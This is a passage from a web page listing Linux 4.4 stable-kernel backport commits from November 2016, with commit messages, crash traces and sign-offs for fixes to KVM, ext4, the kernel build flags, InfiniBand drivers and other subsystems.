    Now that all of the user copy routines are converted to return
    accurate residual lengths when an exception occurs, we no longer need
    the broken fixup routines.
    
    Signed-off-by: David S. Miller <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    davem330 authored and gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    b4bbdce View commit details
    Browse the repository at this point in the history
  38. Linux 4.4.34

    gregkh committed Nov 21, 2016
    Configuration menu
    Copy the full SHA
    4eb9a81 View commit details
    Browse the repository at this point in the history

Commits on Nov 26, 2016

  1. x86/cpu/AMD: Fix cpu_llc_id for AMD Fam17h systems

    commit b0b6e86 upstream.
    
    cpu_llc_id (Last Level Cache ID) derivation on AMD Fam17h has an
    underflow bug when extracting the socket_id value. It starts from 0
    so subtracting 1 from it will result in an invalid value. This breaks
    scheduling topology later on since the cpu_llc_id will be incorrect.
    
    For example, the the cpu_llc_id of the *other* CPU in the loops in
    set_cpu_sibling_map() underflows and we're generating the funniest
    thread_siblings masks and then when I run 8 threads of nbench, they get
    spread around the LLC domains in a very strange pattern which doesn't
    give you the normal scheduling spread one would expect for performance.
    
    Other things like EDAC use cpu_llc_id so they will be b0rked too.
    
    So, the APIC ID is preset in APICx020 for bits 3 and above: they contain
    the core complex, node and socket IDs.
    
    The LLC is at the core complex level so we can find a unique cpu_llc_id
    by right shifting the APICID by 3 because then the least significant bit
    will be the Core Complex ID.
    
    Tested-by: Borislav Petkov <[email protected]>
    Signed-off-by: Yazen Ghannam <[email protected]>
    [ Cleaned up and extended the commit message. ]
    Signed-off-by: Borislav Petkov <[email protected]>
    Acked-by: Thomas Gleixner <[email protected]>
    Cc: Aravind Gopalakrishnan <[email protected]>
    Cc: Linus Torvalds <[email protected]>
    Cc: Peter Zijlstra <[email protected]>
    Fixes: 3849e91 ("x86/AMD: Fix last level cache topology for AMD Fam17h systems")
    Link: http://lkml.kernel.org/r/[email protected]
    Signed-off-by: Ingo Molnar <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    yghannam authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    aea9d76 View commit details
    Browse the repository at this point in the history
  2. KVM: x86: fix missed SRCU usage in kvm_lapic_set_vapic_addr

    commit 7301d6a upstream.
    
    Reported by syzkaller:
    
        [ INFO: suspicious RCU usage. ]
        4.9.0-rc4+ Freescale#47 Not tainted
        -------------------------------
        ./include/linux/kvm_host.h:536 suspicious rcu_dereference_check() usage!
    
        stack backtrace:
        CPU: 1 PID: 6679 Comm: syz-executor Not tainted 4.9.0-rc4+ Freescale#47
        Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
         ffff880039e2f6d0 ffffffff81c2e46b ffff88003e3a5b40 0000000000000000
         0000000000000001 ffffffff83215600 ffff880039e2f700 ffffffff81334ea9
         ffffc9000730b000 0000000000000004 ffff88003c4f8420 ffff88003d3f8000
        Call Trace:
         [<     inline     >] __dump_stack lib/dump_stack.c:15
         [<ffffffff81c2e46b>] dump_stack+0xb3/0x118 lib/dump_stack.c:51
         [<ffffffff81334ea9>] lockdep_rcu_suspicious+0x139/0x180 kernel/locking/lockdep.c:4445
         [<     inline     >] __kvm_memslots include/linux/kvm_host.h:534
         [<     inline     >] kvm_memslots include/linux/kvm_host.h:541
         [<ffffffff8105d6ae>] kvm_gfn_to_hva_cache_init+0xa1e/0xce0 virt/kvm/kvm_main.c:1941
         [<ffffffff8112685d>] kvm_lapic_set_vapic_addr+0xed/0x140 arch/x86/kvm/lapic.c:2217
    
    Reported-by: Dmitry Vyukov <[email protected]>
    Fixes: fda4e2e
    Cc: Andrew Honig <[email protected]>
    Signed-off-by: Paolo Bonzini <[email protected]>
    Reviewed-by: David Hildenbrand <[email protected]>
    Signed-off-by: Radim Krčmář <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    bonzini authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    b689e86 View commit details
    Browse the repository at this point in the history
  3. KVM: Disable irq while unregistering user notifier

    commit 1650b4e upstream.
    
    Function user_notifier_unregister should be called only once for each
    registered user notifier.
    
    Function kvm_arch_hardware_disable can be executed from an IPI context
    which could cause a race condition with a VCPU returning to user mode
    and attempting to unregister the notifier.
    
    Signed-off-by: Ignacio Alvarado <[email protected]>
    Fixes: 18863bd ("KVM: x86 shared msr infrastructure")
    Reviewed-by: Paolo Bonzini <[email protected]>
    Signed-off-by: Radim Krčmář <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Ignacio Alvarado authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    d4a774f View commit details
    Browse the repository at this point in the history
  4. fuse: fix fuse_write_end() if zero bytes were copied

    commit 59c3b76 upstream.
    
    If pos is at the beginning of a page and copied is zero then page is not
    zeroed but is marked uptodate.
    
    Fix by skipping everything except unlock/put of page if zero bytes were
    copied.
    
    Reported-by: Al Viro <[email protected]>
    Fixes: 6b12c1b ("fuse: Implement write_begin/write_end callbacks")
    Signed-off-by: Miklos Szeredi <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Miklos Szeredi authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    b7321bc View commit details
    Browse the repository at this point in the history
  5. mfd: intel-lpss: Do not put device in reset state on suspend

    commit 274e43e upstream.
    
    Commit 41a3da2 ("mfd: intel-lpss: Save register context on
    suspend") saved the register context while going to suspend and
    also put the device in reset state.
    
    Due to the resetting of device, system cannot enter S3/S0ix
    states when no_console_suspend flag is enabled. The system
    and serial console both hang. The resetting of device is not
    needed while going to suspend. Hence remove this code.
    
    Fixes: 41a3da2 ("mfd: intel-lpss: Save register context on suspend")
    Signed-off-by: Azhar Shaikh <[email protected]>
    Acked-by: Mika Westerberg <[email protected]>
    Reviewed-by: Andy Shevchenko <[email protected]>
    Signed-off-by: Lee Jones <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    azharsha authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    0c6e0db View commit details
    Browse the repository at this point in the history
  6. can: bcm: fix warning in bcm_connect/proc_register

    commit deb507f upstream.
    
    Andrey Konovalov reported an issue with proc_register in bcm.c.
    As suggested by Cong Wang this patch adds a lock_sock() protection and
    a check for unsuccessful proc_create_data() in bcm_connect().
    
    Reference: http://marc.info/?l=linux-netdev&m=147732648731237
    
    Reported-by: Andrey Konovalov <[email protected]>
    Suggested-by: Cong Wang <[email protected]>
    Signed-off-by: Oliver Hartkopp <[email protected]>
    Acked-by: Cong Wang <[email protected]>
    Tested-by: Andrey Konovalov <[email protected]>
    Signed-off-by: Marc Kleine-Budde <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    hartkopp authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    4e583b8 View commit details
    Browse the repository at this point in the history
  7. i2c: mux: fix up dependencies

    commit 93d710a upstream.
    
    We get the following build error from UM Linux after adding
    an entry to drivers/iio/gyro/Kconfig that issues "select I2C_MUX":
    
    ERROR: "devm_ioremap_resource"
       [drivers/i2c/muxes/i2c-mux-reg.ko] undefined!
    ERROR: "of_address_to_resource"
       [drivers/i2c/muxes/i2c-mux-reg.ko] undefined!
    
    It appears that the I2C mux core code depends on HAS_IOMEM
    for historical reasons, while CONFIG_I2C_MUX_REG does *not*
    have a direct dependency on HAS_IOMEM.
    
    This creates a situation where a allyesconfig or allmodconfig
    for UM Linux will select I2C_MUX, and will implicitly enable
    I2C_MUX_REG as well, and the compilation will fail for the
    register driver.
    
    Fix this up by making I2C_MUX_REG depend on HAS_IOMEM and
    removing the dependency from I2C_MUX.
    
    Reported-by: kbuild test robot <[email protected]>
    Reported-by: Jonathan Cameron <[email protected]>
    Signed-off-by: Linus Walleij <[email protected]>
    Acked-by: Jonathan Cameron <[email protected]>
    Acked-by: Peter Rosin <[email protected]>
    Signed-off-by: Wolfram Sang <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    linusw authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    936d157 View commit details
    Browse the repository at this point in the history
  8. kbuild: add -fno-PIE

    commit 8ae9422 upstream.
    
    Debian started to build the gcc with -fPIE by default so the kernel
    build ends before it starts properly with:
    |kernel/bounds.c:1:0: error: code model kernel does not support PIC mode
    
    Also add to KBUILD_AFLAGS due to:
    
    |gcc -Wp,-MD,arch/x86/entry/vdso/vdso32/.note.o.d … -mfentry -DCC_USING_FENTRY … vdso/vdso32/note.S
    |arch/x86/entry/vdso/vdso32/note.S:1:0: sorry, unimplemented: -mfentry isn’t supported for 32-bit in combination with -fpic
    
    Tagging it stable so it is possible to compile recent stable kernels as
    well.
    
    Signed-off-by: Sebastian Andrzej Siewior <[email protected]>
    Signed-off-by: Michal Marek <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Sebastian Andrzej Siewior authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    f740b5c View commit details
    Browse the repository at this point in the history
  9. scripts/has-stack-protector: add -fno-PIE

    commit 82031ea upstream.
    
    Adding -no-PIE to the fstack protector check. -no-PIE was introduced
    before -fstack-protector so there is no need for a runtime check.
    
    Without it the build stops:
    |Cannot use CONFIG_CC_STACKPROTECTOR_STRONG: -fstack-protector-strong available but compiler is broken
    
    due to -mcmodel=kernel + -fPIE if -fPIE is enabled by default.
    
    Tagging it stable so it is possible to compile recent stable kernels as
    well.
    
    Signed-off-by: Sebastian Andrzej Siewior <[email protected]>
    Signed-off-by: Michal Marek <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Sebastian Andrzej Siewior authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    3a868dd View commit details
    Browse the repository at this point in the history
  10. x86/kexec: add -fno-PIE

    commit 90944e4 upstream.
    
    If the gcc is configured to do -fPIE by default then the build aborts
    later with:
    | Unsupported relocation type: unknown type rel type name (29)
    
    Tagging it stable so it is possible to compile recent stable kernels as
    well.
    
    Signed-off-by: Sebastian Andrzej Siewior <[email protected]>
    Signed-off-by: Michal Marek <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Sebastian Andrzej Siewior authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    e543f09 View commit details
    Browse the repository at this point in the history
  11. kbuild: Steal gcc's pie from the very beginning

    commit c6a3855 upstream.
    
    So Sebastian turned off the PIE for kernel builds but that was too late
    - Kbuild.include already uses KBUILD_CFLAGS and trying to disable gcc
    options with, say cc-disable-warning, fails:
    
      gcc -D__KERNEL__ -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs
      ...
      -Wno-sign-compare -fno-asynchronous-unwind-tables -Wframe-address -c -x c /dev/null -o .31392.tmp
      /dev/null:1:0: error: code model kernel does not support PIC mode
    
    because that returns an error and we can't disable the warning. For
    example in this case:
    
    KBUILD_CFLAGS   += $(call cc-disable-warning,frame-address,)
    
    which leads to gcc issuing all those warnings again.
    
    So let's turn off PIE/PIC at the earliest possible moment, when we
    declare KBUILD_CFLAGS so that cc-disable-warning picks it up too.
    
    Also, we need the $(call cc-option ...) because -fno-PIE is supported
    since gcc v3.4 and our lowest supported gcc version is 3.2 right now.
    
    Signed-off-by: Borislav Petkov <[email protected]>
    Cc: Ben Hutchings <[email protected]>
    Cc: Sebastian Andrzej Siewior <[email protected]>
    Signed-off-by: Michal Marek <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    suryasaimadhu authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    147117c View commit details
    Browse the repository at this point in the history
  12. ext4: sanity check the block and cluster size at mount time

    commit 8cdf337 upstream.
    
    If the block size or cluster size is insane, reject the mount.  This
    is important for security reasons (although we shouldn't be just
    depending on this check).
    
    Ref: http://www.securityfocus.com/archive/1/539661
    Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1332506
    Reported-by: Borislav Petkov <[email protected]>
    Reported-by: Nikolay Borisov <[email protected]>
    Signed-off-by: Theodore Ts'o <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    tytso authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    454cf79 View commit details
    Browse the repository at this point in the history
  13. crypto: caam - do not register AES-XTS mode on LP units

    commit 83d2c9a upstream.
    
    When using AES-XTS on a Wandboard, we receive a Mode error:
    caam_jr 2102000.jr1: 20001311: CCB: desc idx 19: AES: Mode error.
    
    According to the Security Reference Manual, the Low Power AES units
    of the i.MX6 do not support the XTS mode. Therefore we must not
    register XTS implementations in the Crypto API.
    
    Signed-off-by: Sven Ebenfeld <[email protected]>
    Reviewed-by: Horia Geantă <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    
    Fixes: c6415a6 "crypto: caam - add support for acipher xts(aes)"
    Signed-off-by: Herbert Xu <[email protected]>
    esven authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    96f10a6 View commit details
    Browse the repository at this point in the history
  14. drm/amdgpu: Attach exclusive fence to prime exported bo's. (v5)

    commit 8e94a46 upstream.
    
    External clients which import our bo's wait only
    for exclusive dmabuf-fences, not on shared ones,
    ditto for bo's which we import from external
    providers and write to.
    
    Therefore attach exclusive fences on prime shared buffers
    if our exported buffer gets imported by an external
    client, or if we import a buffer from an external
    exporter.
    
    See discussion in thread:
    https://lists.freedesktop.org/archives/dri-devel/2016-October/122370.html
    
    Prime export tested on Intel iGPU + AMD Tonga dGPU as
    DRI3/Present Prime render offload, and with the Tonga
    standalone as primary gpu.
    
    v2: Add a wait for all shared fences before prime export,
        as suggested by Christian Koenig.
    
    v3: - Mark buffer prime_exported in amdgpu_gem_prime_pin,
        so we only use the exclusive fence when exporting a
        bo to external clients like a separate iGPU, but not
        when exporting/importing from/to ourselves as part of
        regular DRI3 fd passing.
    
        - Propagate failure of reservation_object_wait_rcu back
        to caller.
    
    v4: - Switch to a prime_shared_count counter instead of a
          flag, which gets in/decremented on prime_pin/unpin, so
          we can switch back to shared fences if all clients
          detach from our exported bo.
    
        - Also switch to exclusive fence for prime imported bo's.
    
    v5: - Drop lret, instead use int ret -> long ret, as proposed
          by Christian.
    
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=95472
    Tested-by: Mike Lothian <[email protected]> (v1)
    Signed-off-by: Mario Kleiner <[email protected]>
    Reviewed-by: Christian König <[email protected]>.
    Cc: Christian König <[email protected]>
    Cc: Michel Dänzer <[email protected]>
    Signed-off-by: Alex Deucher <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    kleinerm authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    d039fc3 View commit details
    Browse the repository at this point in the history
  15. clk: mmp: pxa910: fix return value check in pxa910_clk_init()

    commit 10f2bfb upstream.
    
    Fix the retrn value check which testing the wrong variable
    in pxa910_clk_init().
    
    Fixes: 2bc61da ("clk: mmp: add pxa910 DT support for clock driver")
    Signed-off-by: Wei Yongjun <[email protected]>
    Signed-off-by: Stephen Boyd <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Wei Yongjun authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    a4709b4 View commit details
    Browse the repository at this point in the history
  16. clk: mmp: pxa168: fix return value check in pxa168_clk_init()

    commit deab072 upstream.
    
    Fix the retrn value check which testing the wrong variable
    in pxa168_clk_init().
    
    Fixes: ab08aef ("clk: mmp: add pxa168 DT support for clock driver")
    Signed-off-by: Wei Yongjun <[email protected]>
    Signed-off-by: Stephen Boyd <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Wei Yongjun authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    9657612 View commit details
    Browse the repository at this point in the history
  17. clk: mmp: mmp2: fix return value check in mmp2_clk_init()

    commit a29e52a upstream.
    
    Fix the retrn value check which testing the wrong variable
    in mmp2_clk_init().
    
    Fixes: 1ec770d ("clk: mmp: add mmp2 DT support for clock driver")
    Signed-off-by: Wei Yongjun <[email protected]>
    Signed-off-by: Stephen Boyd <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Wei Yongjun authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    c8aa3e9 View commit details
    Browse the repository at this point in the history
  18. rtc: omap: Fix selecting external osc

    commit 3984903 upstream.
    
    RTC can be clocked from an external 32KHz oscillator, or from the
    Peripheral PLL. The RTC has an internal oscillator buffer to support
    direct operation with a crystal.
    
                ----------------------------------------
                |       Device          ---------       |
                |                       |       |       |
                |                       | RTCSS |       |
                |       ---------       |       |       |
        OSC     |<------| RTC   |       |       |       |
                |------>| OSC   |---    |       |       |
                |       --------   |    |       |       |
                |                   ----|clk    |       |
                |       --------   |    |       |       |
                |       | PRCM  |---    |       |       |
                |       --------        --------        |
                ----------------------------------------
    
    The RTC functional clock is sourced by default from the clock derived
    from the Peripheral PLL. In order to select source as external osc clk
    the following changes needs to be done:
    - Enable the RTC OSC (RTC_OSC_REG[4]OSC32K_GZ = 0)
    - Enable the clock mux(RTC_OSC_REG[6]K32CLK_EN = 1)
    - Select the external clock source (RTC_OSC_REG[3]32KCLK_SEL = 1)
    
    Fixes: 399cf0f ("rtc: omap: Add external clock enabling support")
    Signed-off-by: Keerthy <[email protected]>
    Signed-off-by: Lokesh Vutla <[email protected]>
    Signed-off-by: Dave Gerlach <[email protected]>
    Signed-off-by: Alexandre Belloni <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    lokeshvutla authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    1f99557 View commit details
    Browse the repository at this point in the history
  19. iwlwifi: pcie: fix SPLC structure parsing

    commit e0d9727 upstream.
    
    The SPLC data parsing is too restrictive and was not trying find the
    correct element for WiFi.  This causes problems with some BIOSes where
    the SPLC method exists, but doesn't have a WiFi entry on the first
    element of the list.  The domain type values are also incorrect
    according to the specification.
    
    Fix this by complying with the actual specification.
    
    Additionally, replace all occurrences of SPLX to SPLC, since SPLX is
    only a structure internal to the ACPI tables, and may not even exist.
    
    Fixes: bcb079a ("iwlwifi: pcie: retrieve and parse ACPI power limitations")
    Reported-by: Chris Rorvick <[email protected]>
    Tested-by: Paul Bolle <[email protected]>
    Tested-by: Chris Rorvick <[email protected]>
    Signed-off-by: Luca Coelho <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    lucacoelho authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    d2adb5e View commit details
    Browse the repository at this point in the history
  20. mfd: core: Fix device reference leak in mfd_clone_cell

    commit 722f191 upstream.
    
    Make sure to drop the reference taken by bus_find_device_by_name()
    before returning from mfd_clone_cell().
    
    Fixes: a9bbba9 ("mfd: add platform_device sharing support for mfd")
    Signed-off-by: Johan Hovold <[email protected]>
    Signed-off-by: Lee Jones <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jhovold authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    dd214a1 View commit details
    Browse the repository at this point in the history
  21. uwb: fix device reference leaks

    commit d6124b4 upstream.
    
    This subsystem consistently fails to drop the device reference taken by
    class_find_device().
    
    Note that some of these lookup functions already take a reference to the
    returned data, while others claim no reference is needed (or does not
    seem need one).
    
    Fixes: 183b9b5 ("uwb: add the UWB stack (core files)")
    Signed-off-by: Johan Hovold <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jhovold authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    680bc27 View commit details
    Browse the repository at this point in the history
  22. PM / sleep: fix device reference leak in test_suspend

    commit ceb7578 upstream.
    
    Make sure to drop the reference taken by class_find_device() after
    opening the RTC device.
    
    Fixes: 77437fd (pm: boot time suspend selftest)
    Signed-off-by: Johan Hovold <[email protected]>
    Signed-off-by: Rafael J. Wysocki <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    jhovold authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    469fcbc View commit details
    Browse the repository at this point in the history
  23. PM / sleep: don't suspend parent when async child suspend_{noirq, lat…

    …e} fails
    
    commit 6f75c3f upstream.
    
    Consider two devices, A and B, where B is a child of A, and B utilizes
    asynchronous suspend (it does not matter whether A is sync or async). If
    B fails to suspend_noirq() or suspend_late(), or is interrupted by a
    wakeup (pm_wakeup_pending()), then it aborts and sets the async_error
    variable. However, device A does not (immediately) check the async_error
    variable; it may continue to run its own suspend_noirq()/suspend_late()
    callback. This is bad.
    
    We can resolve this problem by doing our error and wakeup checking
    (particularly, for the async_error flag) after waiting for children to
    suspend, instead of before. This also helps align the logic for the noirq and
    late suspend cases with the logic in __device_suspend().
    
    It's easy to observe this erroneous behavior by, for example, forcing a
    device to sleep a bit in its suspend_noirq() (to ensure the parent is
    waiting for the child to complete), then return an error, and watch the
    parent suspend_noirq() still get called. (Or similarly, fake a wakeup
    event at the right (or is it wrong?) time.)
    
    Fixes: de377b3 (PM / sleep: Asynchronous threads for suspend_late)
    Fixes: 28b6fd6 (PM / sleep: Asynchronous threads for suspend_noirq)
    Reported-by: Jeffy Chen <[email protected]>
    Signed-off-by: Brian Norris <[email protected]>
    Signed-off-by: Rafael J. Wysocki <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    computersforpeace authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    04c0800 View commit details
    Browse the repository at this point in the history
  24. IB/mlx4: Check gid_index return value

    commit 3799511 upstream.
    
    Check the returned GID index value and return an error if it is invalid.
    
    Fixes: 5070cd2 ('IB/mlx4: Replace mechanism for RoCE GID management')
    Signed-off-by: Daniel Jurgens <[email protected]>
    Reviewed-by: Mark Bloch <[email protected]>
    Reviewed-by: Yuval Shaia <[email protected]>
    Signed-off-by: Leon Romanovsky <[email protected]>
    Signed-off-by: Doug Ledford <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    danielj-mellanox authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    41664d7 View commit details
    Browse the repository at this point in the history
  25. IB/mlx4: Fix create CQ error flow

    commit 593ff73 upstream.
    
    Currently, if ib_copy_to_udata fails, the CQ
    won't be deleted from the radix tree and the HW (HW2SW).
    
    Fixes: 225c7b1 ('IB/mlx4: Add a driver Mellanox ConnectX InfiniBand adapters')
    Signed-off-by: Matan Barak <[email protected]>
    Signed-off-by: Daniel Jurgens <[email protected]>
    Reviewed-by: Mark Bloch <[email protected]>
    Signed-off-by: Leon Romanovsky <[email protected]>
    Signed-off-by: Doug Ledford <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    matanb10 authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    7cf5b78 View commit details
    Browse the repository at this point in the history
  26. IB/mlx5: Use cache line size to select CQE stride

    commit 16b0e06 upstream.
    
    When creating kernel CQs use 128B CQE stride if the
    cache line size is 128B, 64B otherwise.  This prevents
    multiple CQEs from residing in a 128B cache line,
    which can cause retries when there are concurrent
    read and writes in one cache line.
    
    Tested with IPoIB on PPC64, saw ~5% throughput
    improvement.
    
    Fixes: e126ba9 ('mlx5: Add driver for Mellanox Connect-IB adapters')
    Signed-off-by: Daniel Jurgens <[email protected]>
    Signed-off-by: Maor Gottlieb <[email protected]>
    Signed-off-by: Leon Romanovsky <[email protected]>
    Signed-off-by: Doug Ledford <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    danielj-mellanox authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    7340399 View commit details
    Browse the repository at this point in the history
  27. IB/mlx5: Fix fatal error dispatching

    commit dbaaff2 upstream.
    
    When an internal error condition is detected, make sure to set the
    device inactive after dispatching the event so ULPs can get a
    notification of this event.
    
    Fixes: e126ba9 ('mlx5: Add driver for Mellanox Connect-IB adapters')
    Signed-off-by: Eli Cohen <[email protected]>
    Signed-off-by: Maor Gottlieb <[email protected]>
    Reviewed-by: Mohamad Haj Yahia <[email protected]>
    Signed-off-by: Leon Romanovsky <[email protected]>
    Signed-off-by: Doug Ledford <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Eli Cohen authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    c524185 View commit details
    Browse the repository at this point in the history
  28. IB/core: Avoid unsigned int overflow in sg_alloc_table

    commit 3c7ba57 upstream.
    
    sg_alloc_table gets unsigned int as parameter while the driver
    returns it as size_t. Check npages isn't greater than maximum
    unsigned int.
    
    Fixes: eeb8461 ("IB: Refactor umem to use linear SG table")
    Signed-off-by: Mark Bloch <[email protected]>
    Signed-off-by: Maor Gottlieb <[email protected]>
    Signed-off-by: Leon Romanovsky <[email protected]>
    Signed-off-by: Doug Ledford <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    mark-bloch authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    eba83a8 View commit details
    Browse the repository at this point in the history
  29. IB/uverbs: Fix leak of XRC target QPs

    commit 5b810a2 upstream.
    
    The real QP is destroyed in case of the ref count reaches zero, but
    for XRC target QPs this call was missed and caused to QP leaks.
    
    Let's call to destroy for all flows.
    
    Fixes: 0e0ec7e ('RDMA/core: Export ib_open_qp() to share XRC...')
    Signed-off-by: Tariq Toukan <[email protected]>
    Signed-off-by: Noa Osherovich <[email protected]>
    Signed-off-by: Leon Romanovsky <[email protected]>
    Signed-off-by: Doug Ledford <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    Tariq Toukan authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    2b026a2 View commit details
    Browse the repository at this point in the history
  30. IB/cm: Mark stale CM id's whenever the mad agent was unregistered

    commit 9db0ff5 upstream.
    
    When there is a CM id object that has port assigned to it, it means that
    the cm-id asked for the specific port that it should go by it, but if
    that port was removed (hot-unplug event) the cm-id was not updated.
    In order to fix that the port keeps a list of all the cm-id's that are
    planning to go by it, whenever the port is removed it marks all of them
    as invalid.
    
    This commit fixes a kernel panic which happens when running traffic between
    guests and we force reboot a guest mid traffic, it triggers a kernel panic:
    
     Call Trace:
      [<ffffffff815271fa>] ? panic+0xa7/0x16f
      [<ffffffff8152b534>] ? oops_end+0xe4/0x100
      [<ffffffff8104a00b>] ? no_context+0xfb/0x260
      [<ffffffff81084db2>] ? del_timer_sync+0x22/0x30
      [<ffffffff8104a295>] ? __bad_area_nosemaphore+0x125/0x1e0
      [<ffffffff81084240>] ? process_timeout+0x0/0x10
      [<ffffffff8104a363>] ? bad_area_nosemaphore+0x13/0x20
      [<ffffffff8104aabf>] ? __do_page_fault+0x31f/0x480
      [<ffffffff81065df0>] ? default_wake_function+0x0/0x20
      [<ffffffffa0752675>] ? free_msg+0x55/0x70 [mlx5_core]
      [<ffffffffa0753434>] ? cmd_exec+0x124/0x840 [mlx5_core]
      [<ffffffff8105a924>] ? find_busiest_group+0x244/0x9f0
      [<ffffffff8152d45e>] ? do_page_fault+0x3e/0xa0
      [<ffffffff8152a815>] ? page_fault+0x25/0x30
      [<ffffffffa024da25>] ? cm_alloc_msg+0x35/0xc0 [ib_cm]
      [<ffffffffa024e821>] ? ib_send_cm_dreq+0xb1/0x1e0 [ib_cm]
      [<ffffffffa024f836>] ? cm_destroy_id+0x176/0x320 [ib_cm]
      [<ffffffffa024fb00>] ? ib_destroy_cm_id+0x10/0x20 [ib_cm]
      [<ffffffffa034f527>] ? ipoib_cm_free_rx_reap_list+0xa7/0x110 [ib_ipoib]
      [<ffffffffa034f590>] ? ipoib_cm_rx_reap+0x0/0x20 [ib_ipoib]
      [<ffffffffa034f5a5>] ? ipoib_cm_rx_reap+0x15/0x20 [ib_ipoib]
      [<ffffffff81094d20>] ? worker_thread+0x170/0x2a0
      [<ffffffff8109b2a0>] ? autoremove_wake_function+0x0/0x40
      [<ffffffff81094bb0>] ? worker_thread+0x0/0x2a0
      [<ffffffff8109aef6>] ? kthread+0x96/0xa0
      [<ffffffff8100c20a>] ? child_rip+0xa/0x20
      [<ffffffff8109ae60>] ? kthread+0x0/0xa0
      [<ffffffff8100c200>] ? child_rip+0x0/0x20
    
    Fixes: a977049 ("[PATCH] IB: Add the kernel CM implementation")
    Signed-off-by: Mark Bloch <[email protected]>
    Signed-off-by: Erez Shitrit <[email protected]>
    Reviewed-by: Maor Gottlieb <[email protected]>
    Signed-off-by: Leon Romanovsky <[email protected]>
    Signed-off-by: Doug Ledford <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    mark-bloch authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    698a8dd View commit details
    Browse the repository at this point in the history
  31. netfilter: nft_dynset: fix element timeout for HZ != 1000

    commit a8b1e36 upstream.
    
    With HZ=100 element timeout in dynamic sets (i.e. flow tables) is 10 times
    higher than configured.
    
    Add proper conversion to/from jiffies, when interacting with userspace.
    
    I tested this on Linux 4.8.1, and it applies cleanly to current nf and
    nf-next trees.
    
    Fixes: 22fe54d ("netfilter: nf_tables: add support for dynamic set updates")
    Signed-off-by: Anders K. Pedersen <[email protected]>
    Signed-off-by: Pablo Neira Ayuso <[email protected]>
    Signed-off-by: Greg Kroah-Hartman <[email protected]>
    cohakp authored and gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    1ba7faf View commit details
    Browse the repository at this point in the history
  32. Linux 4.4.35

    gregkh committed Nov 26, 2016
    Configuration menu
    Copy the full SHA
    0a5b451 View commit details
    Browse the repository at this point in the history

Commits on Dec 2, 2016

